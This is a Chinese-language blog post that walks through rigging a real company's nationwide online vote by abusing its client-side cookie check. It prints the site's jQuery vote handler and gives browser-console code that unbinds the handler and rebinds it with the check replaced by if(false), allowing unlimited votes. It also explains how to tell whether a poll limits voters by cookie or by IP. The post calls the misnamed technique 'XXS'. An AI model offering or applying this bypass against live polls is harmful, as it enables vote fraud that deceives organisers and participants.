一次真實的XXS攻擊

這是一個真實的事,一家比較大的公司舉辦的一個全國性的投票,然而,頁面確實寫得很爛,做假太容易。

首先,找到投票按鈕的源代碼:

這裏寫圖片描述

這個”tp”類就是投票事件的定位關鍵字。

然後,打開source下的源文件,搜索“.tp”:

這裏寫圖片描述

可以看到,這就是投票事件的代碼

分析源代碼

//投票
    jq('#scrollText_01>ul li .tp').click(function () {
        //判斷是否對此人投票
        var index = jq(this).parent().index();
        var id = index + 1;
        if(jq.cookie('chenyi_'+id)){
            alert('您已經投票,不可重複!');
        }else{
            var num = jq("#"+index).html();
            //點贊
            jq.getJSON(rootPath + "dztr/index.php?_c=dztr&_a=prized&callback=?", {"id": id,"num": num}, function (json) {
                var data = eval(json);
                var vote_num = data.prized_num;
                if (data.msg == 'no') {
                    vote_num = num;
                    alert('投票失敗,請重新投!');
                }else{
                    jq.cookie('chenyi_'+id, 1, { expires: 365 });
                }
                jq('#' + index).text("" + vote_num + "");
            });
        }
    });

很明顯,它是通過cookie來判斷用戶的。

那不看代碼,怎麼猜測一個投票網站是通過哪種方式識別用戶呢?
可以在一個瀏覽器投一次票,然後再換一個瀏覽器偷,如果能投,說明是通過cookie來判斷用戶的。如果不能,那就可能是通過ip來限制的。
通過cookie來限制的,可以刪除cookie來繞過,直接在瀏覽器的開發工具的就可以找到和刪除。但是,這種方法每投一次票就要刪除一次cookie.如果剛巧這個網站又用了js來驗證cookie,那麼我們就可以修改驗證的代碼來繞過。我們知道html是事件驅動的,那麼就可以從事件綁定代碼入手,進行修改。
上面的網站就是犯了:1、不用登錄,使用cookie識別用戶投票狀態 2、使用js驗證cookie 兩個大忌

通過分析,現將投票事件解綁:

jq('#scrollText_01>ul li .tp').off()

再重新綁定事件,把驗證cookie的代碼刪去即可:

jq('#scrollText_01>ul li .tp').click(function () {
        //判斷是否對此人投票
        var index = jq(this).parent().index();
        var id = index + 1;

        // 只需修改這裏
        if(false){
            alert('您已經投票,不可重複!');
        }else{
            var num = jq("#"+index).html();
            //點贊
            jq.getJSON(rootPath + "dztr/index.php?_c=dztr&_a=prized&callback=?", {"id": id,"num": num}, function (json) {
                var data = eval(json);
                var vote_num = data.prized_num;
                if (data.msg == 'no') {
                    vote_num = num;
                    alert('投票失敗,請重新投!');
                }else{
                    jq.cookie('chenyi_'+id, 1, { expires: 365 });
                }
                jq('#' + index).text("" + vote_num + "");
            });
        }
    });

然後就可以一直點擊投票,再也不會被限制了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章